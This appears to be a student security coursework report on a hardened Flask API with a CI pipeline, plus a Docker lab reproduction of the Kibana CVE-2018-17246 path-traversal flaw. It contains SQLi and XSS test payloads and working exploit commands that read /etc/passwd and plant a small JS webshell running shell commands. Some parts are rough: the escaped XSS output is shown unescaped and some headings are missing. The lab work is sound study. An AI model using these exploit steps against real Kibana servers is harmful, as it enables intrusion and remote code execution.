
HDU IS Work 1 - Secure REST API (Flask) with CI/CD (pytest + bandit + pip-audit) and CVE-2018-17246 analysis
Secure REST API in Python/Flask, CI/CD via GitHub Actions (SAST + SCA + automated tests), and a full analysis of a real CVE reproduced in a Docker environment (Kibana LFI, CVE-2018-17246).
Name: Guhaotian HDU number: 23320209
https://github.com/ght657/work1-secure-api (public)POST /auth/login — issues a signed JWT after verifying the password hash.GET /api/data — protected by JWT (Bearer token); returns records of the current user.GET /api/users/search?q= — protected read endpoint with parameter-bound SQL query.POST /api/posts (JWT protected) demonstrates the stored XSS / output-escaping protection.Workflow file: .github/workflows/ci.yml, triggered on every push to main.
| Job | Tooling | What it does | Evidence |
|---|---|---|---|
test | pytest 8 | runs the 11-test suite | evidence/07_pytest_run.png |
sast | Bandit 1.8.0 | static analysis of app/, tests/ (JSON report uploaded as artifact) | evidence/08_bandit_report.png |
sca | pip-audit 2.8.0 | dependencies audit (JSON report uploaded as artifact) | evidence/09_pip_audit_report.png |
The pipeline fails if any test fails or any SAST/SCA finding remains, so a red pipeline means a fix must be pushed before merge.
11 tests, all passing (pytest -q):
tests/test_api.py::test_login_success_issues_token PASSED
tests/test_api.py::test_login_wrong_password_rejected PASSED
tests/test_api.py::test_login_unknown_user_same_error_as_wrong_password PASSED
tests/test_api.py::test_passwords_stored_as_bcrypt_hashes PASSED
tests/test_api.py::test_data_endpoint_denied_without_token PASSED
tests/test_api.py::test_data_endpoint_denied_with_invalid_token PASSED
tests/test_api.py::test_data_endpoint_works_with_valid_token PASSED
tests/test_api.py::test_create_post_requires_token PASSED
tests/test_api.py::test_sqli_payload_treated_as_data PASSED
tests/test_api.py::test_sqli_union_payload_does_not_dump_table PASSED
tests/test_api.py::test_xss_payload_is_escaped_in_response PASSED
11 passed in 2.20s
The application code is our own, so a first run naturally contains no third-party noise. Result: 0 issues:
Run started:...
Test results:
No issues identified.
Code scanned:
Total lines of code: 228
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0
pip-audit lists all dependencies with known CVEs; the initial run found:
Found 19 known vulnerabilities in 3 packages
Name Version ID Fix Versions
------------- ------- ----------------- ------------
flask 3.0.3 PYSEC-2026-2151 3.1.3
pyjwt 2.9.0 PYSEC-2026-120 2.12.0
pyjwt 2.9.0 PYSEC-2025-183 ...
pyjwt 2.9.0 ... up to 2.15.0
python-dotenv 1.0.1 PYSEC-2026-2270 1.2.2
19 entries in total (Flask, PyJWT ×17, python-dotenv). I upgraded to the fixed versions:
Flask 3.1.3, PyJWT 2.15.0 and removed python-dotenv (optional config helper only —
the fixed 1.2.2 requires Python ≥ 3.10 while the audit venv is 3.9).
After the fix:
No known vulnerabilities found
(evidence/08b_bandit_after_fix.png, evidence/09b_pip_audit_after_fix.png)
The API was tested against the classic attacks with curl. Screenshots in evidence/:
POST /auth/login with username: "admin'--" returns 401 Invalid credentials —
the lookup uses an ORM parameter query against the hashed credentials, the injected
payload stays data and never becomes SQL.
GET /api/users/search?q=%' OR '1'='1 → the string is bound as a parameter to
SELECT ... WHERE username LIKE ? (wildcards escaped), so it matches nothing and the API
returns an empty list — no error and no full-table dump.
POST /api/posts with title: "<script>alert('xss')</script>"; the server stores the
raw string but escapes it on output (markupsafe.escape + jsonify), so the returned
payload is <script>alert('xss')</script> — a browser toggles the text, it does not
execute it. (Re-production with a browser render is shown in evidence/06_xss_readback.png.)
401 {"error": "Missing or malformed Authorization header"} (evidence/03_data_denied.png)200 + protected data (evidence/04_data_with_token.png)401 (signature check with HS256)401 (60-minute expiry)Authorization: Bearer <token>
(evidence/10_jwt_structure.png shows the 3-part structure).Passwords are stored as bcrypt hashes (12 rounds) and never returned by any endpoint
(test test_passwords_stored_as_bcrypt_hashes).
/etc/passwd), and — because the vulnerable route requires the file as a
JS module — if a writable path is reachable (e.g. through another flaw or a
generated temp file), attacker-controlled JS can be executed by the Kibana process.GET /api/console/api_server?apis=../../../../../../etc/passwd — the apis
parameter is passed to require() after only a simple path check, allowing ..
sequences to escape the server-side api directory and read/execute arbitrary files.I use the public vulhub image (already published, verified vulnerable):
vulhub/kibana:5.6.12 + vulhub/elasticsearch:5.6.16 — see
CVE-2018-17246/docker-compose.yml (folder with the same name in this repo).
cd CVE-2018-17246
docker compose up -d # kibana 5.6.12 + elasticsearch 5.6.16, UI on :5601
Step 1 — trigger the LFI (Console API accepts an apis path that is resolved as a file):
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd"
The response is 500 (the file is not a valid JS module) but the file content appears in
the server log — Kibana reads the file and tries to require() it:
docker compose logs kibana | grep -i "passwd\|root:x"
Step 2 — escalate to code execution. A local JS file is loaded as a module by the
same route: /tmp/vulhub.js containing a tiny "webshell" that runs a shell command when
its exported function is invoked by the Console API:
// /tmp/vulhub.js (written inside the Kibana container)
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
# write the file inside the container and load it
docker compose exec kibana bash -c "mkdir -p /tmp && cat > /tmp/vulhub.js << 'EOF'
export default {
asJson: function(req, res) { return require('child_process').execSync('id').toString(); }
}
EOF"
curl -i "http://localhost:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=/tmp/vulhub.js"